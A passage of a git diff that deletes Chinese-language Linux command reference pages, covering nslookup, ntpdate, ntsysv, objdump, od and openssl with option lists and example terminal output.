进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即/etc/resolv.conf的第一个dns地址)。或者输入nslookup -nameserver/ip。进入非交互模式,就直接输入nslookup 域名就可以了。

-

语法

-
nslookup(选项)(参数)
-
-

选项

-
-sil:不显示任何警告信息。
-
-

参数

-

域名:指定要查询域名。

-

实例

-
[root@localhost ~]# nslookup www.jsdig.com
-Server:         202.96.104.15
-Address:        202.96.104.15#53
-
-Non-authoritative answer:
-www.jsdig.com canonical name = host.1.jsdig.com.
-Name:   host.1.jsdig.com
-Address: 100.42.212.8
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ntpdate.html b/linux-command.docset/Contents/Resources/Documents/c/ntpdate.html deleted file mode 100644 index f11c9e7e71..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ntpdate.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - ntpdate 命令,Linux ntpdate 命令详解:使用网络计时协议(NTP)设置日期和时间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ntpdate

-

使用网络计时协议(NTP)设置日期和时间

-

补充说明

-

ntpdate命令 是用来设置本地日期和时间。它从指定的每个服务器获得了一些样本,并应用标准 NTP 时钟过滤器和选择算法来选择最好的样本。

-

此 ntpdate 命令使用以下方法进行时间调整:

-
    -
  • 如果它确定时钟偏差超过 0.5 秒,它通过调用 settimeofday 子例程设置时钟时间。在引导时间,这是一个首选的方法。
  • -
  • 如 果它确定时钟偏差小于 0.5 秒,它通过调用 adjtime 子例程和偏移量来调整时钟时间。此方法倾向于用牺牲一些稳定性来保持漂移时钟更加准确。 当不是通过运行一个守护程序而是从 cron 命令有规则的运行ntpdate 命令时,每一小时或两小时执行一次可以保证足够的走时精度,从而避免调整时钟。
  • -
-

使用很多服务器可以大幅度改善 ntpdate 命令的可靠性与精度。尽管能使用单一服务器,但您能通过提供至少三个或四个服务器以获得更好的性能。

-

如果一个类似 xntpd 守护程序的 NTP 服务器守护程序正在同一主机上运行,命令将拒绝ntpdate 设置日期。

-

你必须有 root 权限才能在主机上运行这个命令。

-

语法

-
ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server...
-
-

选项

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-aKeyid使用 Keyid 来认证全部数据包。
-b通过调用 settimeofday 子例程来增加时钟的时间。
-d指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
-eAuthenticationDelay指定延迟认证处理的时间秒数。
-kKeyFile当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-oVersion当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
-pSamples指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
-s指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-tTimeOut指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ntsysv.html b/linux-command.docset/Contents/Resources/Documents/c/ntsysv.html deleted file mode 100644 index 19b0ce9222..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ntsysv.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - ntsysv 命令,Linux ntsysv 命令详解:集中管理系统的各种服务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ntsysv

-

集中管理系统的各种服务

-

补充说明

-

ntsysv命令 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。

-

语法

-
ntsysv(选项)
-
-

选项

-
--leve:指定运行等级;
---back:在互动式界面里,显示Back钮,而非cancel钮。
-
-

实例

-

输入ntsysv命令后,出现一个交互式的管理菜单,如下:

-
!ntsysv
-
-

使用空格键选择或者取消选项!

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/objdump.html b/linux-command.docset/Contents/Resources/Documents/c/objdump.html deleted file mode 100644 index ee69631069..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/objdump.html +++ /dev/null @@ -1,489 +0,0 @@ - - - - - - - - - - - objdump 命令,Linux objdump 命令详解:显示二进制文件信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

objdump

-

显示二进制文件信息

-

补充说明

-

objdump命令 是用查看目标文件或者可执行的目标文件的构成的gcc工具。

-

选项

-
-a --archive-headers 
-# 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 
-
--b bfdname --target=bfdname 
-# 指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: 
-
-objdump -b oasys -m vax -h fu.o 
-# 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 
-
--C --demangle 
-# 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 
---debugging 
--g 
-# 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 
-
--e --debugging-tags 
-# 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 
---disassemble 
--d 
-# 从objfile中反汇编那些特定指令机器码的section。 
-
--D --disassemble-all 
-# 与 -d 类似,但反汇编所有section. 
-
---prefix-addresses 
-# 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 
-
--EB 
--EL 
---endian={big|little} 
-# 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. 
-
--f 
---file-headers 
-显示objfile中每个文件的整体头部摘要信息。 
-
--h 
---section-headers 
---headers 
-显示目标文件各个section的头部摘要信息。 
-
--H 
---help 
-简短的帮助信息。 
-
--i 
---info 
-显示对于 -b 或者 -m 选项可用的架构和目标格式列表。 
-
--j name
---section=name 
-仅仅显示指定名称为name的section的信息 
-
--l
---line-numbers 
-用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 
-
--m machine 
---architecture=machine 
-指定反汇编目标文件时使用的架构,当待反汇编文件本身没描述架构信息的时候(比如S-records),这个选项很有用。可以用-i选项列出这里能够指定的架构. 
-
---reloc 
--r 
-显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇编后的格式显示出来。 
-
---dynamic-reloc 
--R 
-显示文件的动态重定位入口,仅仅对于动态目标文件意义,比如某些共享库。 
-
--s 
---full-contents 
-显示指定section的完整内容。默认所有的非空section都会被显示。 
-
--S 
---source 
-尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,效果比较明显。隐含了-d参数。 
-
---show-raw-insn 
-反汇编的时候,显示每条汇编指令对应的机器码,如不指定--prefix-addresses,这将是缺省选项。 
-
---no-show-raw-insn 
-反汇编时,不显示汇编指令的机器码,如不指定--prefix-addresses,这将是缺省选项。 
-
---start-address=address 
-从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。 
-
---stop-address=address 
-显示数据直到指定地址为止,该项影响-d、-r和-s选项的输出。 
-
--t 
---syms 
-显示文件的符号表入口。类似于nm -s提供的信息 
-
--T 
---dynamic-syms 
-显示文件的动态符号表入口,仅仅对动态目标文件意义,比如某些共享库。它显示的信息类似于 nm -D|--dynamic 显示的信息。 
-
--V 
---version 
-版本信息 
-
---all-headers 
--x 
-显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。 
-
--z 
---disassemble-zeroes 
-一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。 
-
-@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。
-
-

实例

-

首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下: 

-
root@localhost [test]# nl mytest.cpp 
-
-
void printTest() {
-    char a;
-    a = 'a';
-}
-
-void printTest2() {
-int a = 2;
-a+=2;
-} 
-
-

对以上源代码进行编译,如下: 

-
[root@localhost test]# g++ -c -g mytest.cpp 
-
-

这里,生成的文件是mytest.o,为了方便测试包含了调试的信息,对可执行文件的测试,显示的结果类似。 

-

**查看当前使用的objdump的版本号: **

-
[root@localhost test]# objdump -V 
-GNU objdump 2.17.50.0.6-14.el5 20061020 
-Copyright 2005 free Software Foundation, Inc. 
-This program is free software; you may redistribute it under the terms of 
-the GNU General Public License.  This program has absolutely no warranty. 
-
-

**查看档案库文件中的信息: **

-
[root@localhost test]# objdump -a libmy2.a 
-In archive libmy2.a: 
-myfile.o:     file format elf32-i386 
-rwxrwxrwx 0/0   2724 Nov 16 16:06 2009 myfile.o 
-mytest.o:     file format elf32-i386 
-rw-r--r-- 0/0    727 Jul 13 15:32 2011 mytest.o 
-
-

*这里,libmy2.a是一个使用ar命令将多个.o目标文件打包而生成的静态库。命令的输出类似ar -tv,相比较ar -tv输出如下: **

-
[root@localhost test]# ar -tv libmy2.a 
-rwxrwxrwx 0/0   2724 Nov 16 16:06 2009 myfile.o 
-rw-r--r-- 0/0    727 Jul 13 15:32 2011 mytest.o 
-
-

显示可用的架构和目标结构列表: 

-
[root@localhost test]# objdump -i 
-BFD header file version 2.17.50.0.6-14.el5 20061020 
-elf32-i386 
-(header little endian, data little endian) 
-  i386 
-a.out-i386-linux 
-(header little endian, data little endian) 
-  i386 
-efi-app-ia32 
-(header little endian, data little endian) 
-  i386 
-elf64-x86-64 
-(header little endian, data little endian) 
-  i386 
-elf64-little 
-(header little endian, data little endian) 
-  i386 
-elf64-big 
-(header big endian, data big endian) 
-  i386 
-elf32-little 
-(header little endian, data little endian) 
-  i386 
-elf32-big 
-(header big endian, data big endian) 
-  i386 
-srec 
-(header endianness unknown, data endianness unknown) 
-  i386 
-symbolsrec 
-(header endianness unknown, data endianness unknown) 
-  i386 
-tekhex 
-(header endianness unknown, data endianness unknown) 
-  i386 
-binary 
-(header endianness unknown, data endianness unknown) 
-  i386 
-ihex 
-(header endianness unknown, data endianness unknown) 
-  i386 
-trad-core 
-(header endianness unknown, data endianness unknown) 
-
-              elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 
-          i386 elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 
-
-              elf64-little elf64-big elf32-little elf32-big srec symbolsrec 
-          i386 elf64-little elf64-big elf32-little elf32-big srec symbolsrec 
-
-              tekhex binary ihex trad-core 
-          i386 tekhex binary ihex --------- 
-
-

这里,显示的信息是相对于 -b 或者 -m 选项可用的架构和目标格式列表。 

-

**显示mytest.o文件中的text段的内容: **

-
[root@localhost test]# objdump --section=.text -s mytest.o 
-mytest.o:     file format elf32-i386 
-Contents of section .text: 
-0000 5589e583 ec10c645 ff61c9c3 5589e583  U......E.a..U... 
-0010 ec10c745 fc020000 008345fc 02c9c3    ...E......E.... 
-
-

这里注意,不能单独使用-j或者--section,例如objdump --section=.text mytest.o是不会运行成功的。 

-

**反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: **

-
[root@localhost test]# objdump -j .text -S mytest.o 
-mytest.o:     file format elf32-i386 
-Disassembly of section .text: 
-00000000 <_Z9printTestv>: 
-void printTest() 
-   0:   55                      push   %ebp 
-   1:   89 e5                   mov    %esp,%ebp 
-   3:   83 ec 10                sub    $0x10,%esp 
-{ 
-        char a; 
-        a = 'a'; 
-   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
-} 
-   a:   c9                      leave  
-   b:   c3                      ret    
-
-000000c <_Z10printTest2v>: 
-void printTest2() 
-   c:   55                      push   %ebp 
-   d:   89 e5                   mov    %esp,%ebp 
-   f:   83 ec 10                sub    $0x10,%esp 
-{ 
-        int a = 2; 
-  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
-        a+=2; 
-  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
-} 
-  1d:   c9                      leave  
-  1e:   c3                      ret    
-
-

这里注意,不能单独使用-j或者--section,例如objdump -j .text mytest.o是不会运行成功的。另外-S命令对于包含调试信息的目标文件,显示的效果比较好,如果编译时没有指定g++的-g选项,那么目标文件就不包含调试信息,那么显示效果就差多了。 

-

**反汇编出mytest.o的源代码: **

-
[root@localhost test]# objdump -S mytest.o 
-mytest.o:     file format elf32-i386 
-
-Disassembly of section .text: 
-
-00000000 <_Z9printTestv>: 
-void printTest() 
-   0:   55                      push   %ebp 
-   1:   89 e5                   mov    %esp,%ebp 
-   3:   83 ec 10                sub    $0x10,%esp 
-{ 
-        char a; 
-        a = 'a'; 
-   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
-} 
-   a:   c9                      leave  
-   b:   c3                      ret    
-
-0000000c <_Z10printTest2v>: 
-void printTest2() 
-   c:   55                      push   %ebp 
-   d:   89 e5                   mov    %esp,%ebp 
-   f:   83 ec 10                sub    $0x10,%esp 
-{ 
-       int a = 2; 
-  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
-        a+=2; 
-  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
-} 
-  1d:   c9                      leave  
-  1e:   c3                      ret    
-
-

这里,尤其当编译的时候指定了-g这种调试参数时,反汇编的效果比较明显。隐含了-d参数。 

-

**显示文件的符号表入口: **

-
[root@localhost test]# objdump -t mytest.o 
-mytest.o:     file format elf32-i386 
-
-SYMBOL TABLE: 
-00000000 l    df *ABS*  00000000 mytest.cpp 
-00000000 l    d  .text  00000000 .text 
-00000000 l    d  .data  00000000 .data 
-00000000 l    d  .bss   00000000 .bss 
-00000000 l    d  .debug_abbrev  00000000 .debug_abbrev 
-00000000 l    d  .debug_info    00000000 .debug_info 
-00000000 l    d  .debug_line    00000000 .debug_line 
-00000000 l    d  .debug_frame   00000000 .debug_frame 
-00000000 l    d  .debug_loc     00000000 .debug_loc 
-00000000 l    d  .debug_pubnames        00000000 .debug_pubnames 
-00000000 l    d  .debug_aranges 00000000 .debug_aranges 
-00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack 
-00000000 l    d  .comment       00000000 .comment 
-00000000 g     F .text  0000000c _Z9printTestv 
-00000000         *UND*  00000000 __gxx_personality_v0 
-0000000c g     F .text  00000013 _Z10printTest2v 
-
-

这里,输出的信息类似nm -s命令的输出,相比较之下,nm命令的输出如下: 

-
[root@localhost test]# nm -s mytest.o 
-0000000c T _Z10printTest2v 
-00000000 T _Z9printTestv 
-         U __gxx_personality_v0 
-
-

**显示文件的符号表入口,将底层符号解码并表示成用户级别: **

-
[root@localhost test]# objdump -t -C mytest.o 
-mytest.o:     file format elf32-i386 
-SYMBOL TABLE: 
-00000000 l    df *ABS*  00000000 mytest.cpp 
-00000000 l    d  .text  00000000 .text 
-00000000 l    d  .data  00000000 .data 
-00000000 l    d  .bss   00000000 .bss 
-00000000 l    d  .debug_abbrev  00000000 .debug_abbrev 
-00000000 l    d  .debug_info    00000000 .debug_info 
-00000000 l    d  .debug_line    00000000 .debug_line 
-00000000 l    d  .debug_frame   00000000 .debug_frame 
-00000000 l    d  .debug_loc     00000000 .debug_loc 
-00000000 l    d  .debug_pubnames        00000000 .debug_pubnames 
-00000000 l    d  .debug_aranges 00000000 .debug_aranges 
-00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack 
-00000000 l    d  .comment       00000000 .comment 
-00000000 g     F .text  0000000c printTest() 
-00000000         *UND*  00000000 __gxx_personality_v0 
-0000000c g     F .text  00000013 printTest2() 
-
-

这里,和没-C相比,printTest2函数可读性增加了。 

-

**反汇编目标文件的特定机器码段: **

-
[root@localhost test]# objdump -d mytest.o 
-mytest.o:     file format elf32-i386 
-Disassembly of section .text: 
-
-00000000 <_Z9printTestv>: 
-   0:   55                      push   %ebp 
-   1:   89 e5                   mov    %esp,%ebp 
-   3:   83 ec 10                sub    $0x10,%esp 
-   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
-   a:   c9                      leave  
-  b:   c3                      ret    
-
-0000000c <_Z10printTest2v>: 
-   c:   55                      push   %ebp 
-   d:   89 e5                   mov    %esp,%ebp 
-   f:   83 ec 10                sub    $0x10,%esp 
-  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
-  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
-  1d:   c9                      leave  
-  1e:   c3                      ret    
-
-

这里,对text段的内容进行了反汇编。 

-

**反汇编特定段,并将汇编代码对应的文件名称和行号对应上: **

-
[root@localhost test]# objdump -d -l mytest.o
-mytest.o:     file format elf32-i386 
-Disassembly of section .text: 
-
-00000000 <_Z9printTestv>: 
-_Z9printTestv(): 
-/root/test/04_libraryTest/mytest.cpp:1 
-   0:   55                      push   %ebp 
-   1:   89 e5                   mov    %esp,%ebp 
-   3:   83 ec 10                sub    $0x10,%esp 
-/root/test/04_libraryTest/mytest.cpp:4 
-   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
-/root/test/04_libraryTest/mytest.cpp:5 
-   a:   c9                      leave  
-   b:   c3                      ret    
-
-0000000c <_Z10printTest2v>: 
-_Z10printTest2v(): 
-/root/test/04_libraryTest/mytest.cpp:6 
-   c:   55                      push   %ebp 
-   d:   89 e5                   mov    %esp,%ebp 
-   f:   83 ec 10                sub    $0x10,%esp 
-/root/test/04_libraryTest/mytest.cpp:8 
-  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
-/root/test/04_libraryTest/mytest.cpp:9 
-  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
-/root/test/04_libraryTest/mytest.cpp:10 
-  1d:   c9                      leave  
-  1e:   c3                      ret    
-
-

这里,项"-d"从objfile中反汇编那些特定指令机器码的section,而使用"-l"指定用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用,使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 

-

**显示目标文件各个段的头部摘要信息: **

-
[root@localhost test]# objdump -h mytest.o 
-mytest.o:     file format elf32-i386 
-
-Sections: 
-Idx Name          Size      VMA       LMA       File off  Algn 
-  0 .text         0000001f  00000000  00000000  00000034  2**2 
-                  CONTENTS, ALLOC, LOAD, readonly, CODE 
-  1 .data         00000000  00000000  00000000  00000054  2**2 
-                  CONTENTS, ALLOC, LOAD, DATA 
-  2 .bss          00000000  00000000  00000000  00000054  2**2 
-                  ALLOC 
-  3 .debug_abbrev 00000046  00000000  00000000  00000054  2**0 
-                  CONTENTS, READONLY, DEBUGGING 
-  4 .debug_info   000000ed  00000000  00000000  0000009a  2**0 
-                  CONTENTS, RELOC, READONLY, DEBUGGING 
-  5 .debug_line   0000003e  00000000  00000000  00000187  2**0 
-                  CONTENTS, RELOC, READONLY, DEBUGGING 
-  6 .debug_frame  00000044  00000000  00000000  000001c8  2**2 
-                  CONTENTS, RELOC, READONLY, DEBUGGING 
-  7 .debug_loc    00000058  00000000  00000000  0000020c  2**0 
-                  CONTENTS, READONLY, DEBUGGING 
-  8 .debug_pubnames 0000002f  00000000  00000000  00000264  2**0 
-                  CONTENTS, RELOC, READONLY, DEBUGGING 
-  9 .debug_aranges 00000020  00000000  00000000  00000293  2**0 
-                  CONTENTS, RELOC, READONLY, DEBUGGING 
-10 .comment      0000002e  00000000  00000000  000002b3  2**0 
-                  CONTENTS, READONLY 
-11 .note.GNU-stack 00000000  00000000  00000000  000002e1  2**0 
-                  CONTENTS, READONLY 
-
-

这里,更多的内容参见man objdump中的这个选项。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/od.html b/linux-command.docset/Contents/Resources/Documents/c/od.html deleted file mode 100644 index 752cfd60c8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/od.html +++ /dev/null @@ -1,170 +0,0 @@ - - - - - - - - - - - od 命令,Linux od 命令详解:输出文件的八进制、十六进制等格式编码的字节 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

od

-

输出文件的八进制、十六进制等格式编码的字节

-

补充说明

-

od命令 用于输出文件的八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。

-

常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。

-

语法

-
od(选项)(参数)
-
-

选项

-
-a:此参数的效果和同时指定“-ta”参数相同;
--A:<字码基数>:选择以何种基数计算字码;
--b:此参数的效果和同时指定“-toC”参数相同;
--c:此参数的效果和同时指定“-tC”参数相同;
--d:此参数的效果和同时指定“-tu2”参数相同;
--f:此参数的效果和同时指定“-tfF”参数相同;
--h:此参数的效果和同时指定“-tx2”参数相同;
--i:此参数的效果和同时指定“-td2”参数相同;
--j<字符数目>或--skip-bytes=<字符数目>:略过设置的字符数目;
--l:此参数的效果和同时指定“-td4”参数相同;
--N<字符数目>或--read-bytes=<字符数目>:到设置的字符树目为止;
--o:此参数的效果和同时指定“-to2”参数相同;
--s<字符串字符数>或--strings=<字符串字符数>:只显示符合指定的字符数目的字符串;
--t<输出格式>或--format=<输出格式>:设置输出格式;
--v或--output-duplicates:输出时不省略重复的数据;
--w<每列字符数>或--width=<每列字符数>:设置每列的最大字符数;
--x:此参数的效果和同时指定“-h”参数相同;
---help:在线帮助;
---version:显示版本信息。
-
-

参数

-

文件:指定要显示的文件。

-

实例

-
[linuxde@localhost ~]$ echo abcdef g > tmp
-[linuxde@localhost ~]$ cat tmp
-abcdef g
-
-

说明:先准备一个tmp文件

-
[linuxde@localhost ~]$ od -b tmp
-0000000 141 142 143 144 145 146 040 147 012
-0000011
-
-

说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节

-
[linuxde@localhost ~]$ od -c tmp
-0000000   a   b   c   d   e   f       g  \n
-0000011
-
-

说明:使用ASCII码进行输出,注意其中包括转义字符

-
[linuxde@localhost ~]$ od -t d1 tmp
-0000000   97   98   99  100  101  102   32  103   10
-0000011
-
-

说明:使用单字节十进制进行解释

-
[linuxde@localhost ~]$ od -A d -c tmp
-0000000   a   b   c   d   e   f       g  \n
-0000009
-
-

说明:设置地址格式为十进制。

-
[linuxde@localhost ~]$ od -A x -c tmp
-000000   a   b   c   d   e   f       g  \n
-000009
-
-

说明:设置地址格式为十六进制

-
[linuxde@localhost ~]$ od -j 2 -c tmp
-0000002   c   d   e   f       g  \n
-0000011
-
-

说明:跳过开始的两个字节

-
[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
-0000002   c   d
-0000004
-
-

说明:跳过开始的两个字节,并且仅输出两个字节

-
[linuxde@localhost ~]$ od -w1 -c tmp
-0000000   a
-0000001   b
-0000002   c
-0000003   d
-0000004   e
-0000005   f
-0000006   
-0000007   g
-0000010  \n
-0000011
-
-

说明:每行仅输出1个字节

-
[linuxde@localhost ~]$ od -w2 -c tmp
-0000000   a   b
-0000002   c   d
-0000004   e   f
-0000006       g
-0000010  \n
-0000011
-
-

说明:每行输出两个字节

-
[linuxde@localhost ~]$ od -w3 -b tmp
-0000000 141 142 143
-0000003 144 145 146
-0000006 040 147 012
-0000011
-
-

说明:每行输出3个字节,并使用八进制单字节进行解释

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/openssl.html b/linux-command.docset/Contents/Resources/Documents/c/openssl.html deleted file mode 100644 index beb296bfbf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/openssl.html +++ /dev/null @@ -1,186 +0,0 @@ - - - - - - - - - - - openssl 命令,Linux openssl 命令详解:强大的安全套接字层密码库 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

openssl

-

强大的安全套接字层密码库

-

补充说明

-

OpenSSL 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。在OpenSSL被曝出现严重安全漏洞后,发现多数通过SSL协议加密的网站使用名为OpenSSL的开源软件包。由于这是互联网应用最广泛的安全传输方法,被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用,所以该漏洞影响范围广大。

-

OpenSSL有两种运行模式:交互模式和批处理模式。

-

直接输入openssl回车进入交互模式,输入带命令选项的openssl进入批处理模式。

-

OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。 

-

对称加密算法

-

OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4。这7种分组加密算法分别是AES、DES、Blowfish、CAST、IDEA、RC2、RC5,都支持电子密码本模式(ECB)、加密分组链接模式(CBC)、加密反馈模式(CFB)和输出反馈模式(OFB)四种常用的分组密码加密模式。其中,AES使用的加密反馈模式(CFB)和输出反馈模式(OFB)分组长度是128位,其它算法使用的则是64位。事实上,DES算法里面不仅仅是常用的DES算法,还支持三个密钥和两个密钥3DES算法。 

-

非对称加密算法

-

OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用于密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。

-

信息摘要算法

-

OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1)和RIPEMD。SHA算法事实上包括了SHA和SHA1两种信息摘要算法,此外,OpenSSL还实现了DSS标准中规定的两种信息摘要算法DSS和DSS1。 

-

密钥和证书管理

-

密钥和证书管理是PKI的一个重要组成部分,OpenSSL为之提供了丰富的功能,支持多种标准。 

-

首先,OpenSSL实现了ASN.1的证书和密钥相关标准,提供了对证书、公钥、私钥、证书请求以及CRL等数据对象的DER、PEM和BASE64的编解码功能。OpenSSL提供了产生各种公开密钥对和对称密钥的方法、函数和应用程序,同时提供了对公钥和私钥的DER编解码功能。并实现了私钥的PKCS#12和PKCS#8的编解码功能。OpenSSL在标准中提供了对私钥的加密保护功能,使得密钥可以安全地进行存储和分发。 

-

在此基础上,OpenSSL实现了对证书的X.509标准编解码、PKCS#12格式的编解码以及PKCS#7的编解码功能。并提供了一种文本数据库,支持证书的管理功能,包括证书密钥产生、请求产生、证书签发、吊销和验证等功能。 

-

事实上,OpenSSL提供的CA应用程序就是一个小型的证书管理中心(CA),实现了证书签发的整个流程和证书管理的大部分机制。

-

实例

-

1、使用 openssl 生成密码

-

几乎所有 Linux 发行版都包含 openssl。我们可以利用它的随机功能来生成可以用作密码的随机字母字符串。

-
openssl rand -base64 10
-# nU9LlHO5nsuUvw==
-
-

nU9LlHO5nsuUvw==

-

2、消息摘要算法应用例子

-

用SHA1算法计算文件file.txt的哈西值,输出到stdout:

-
# openssl dgst -sha1 file.txt
-
-

用SHA1算法计算文件file.txt的哈西值,输出到文件digest.txt:

-
# openssl sha1 -out digest.txt file.txt
-
-

用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。

-
# openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt
-
-

用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。

-
# openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt
-
-

用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。

-
# openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt
-
-

用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。

-
# openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt
-
-

3、对称加密应用例子

-

对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。

-
# openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin
-
-

用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。

-
# openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers
-
-

用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。

-
# openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD
-
-

给文件ciphertext.bin用base64编码,输出到文件base64.txt。

-
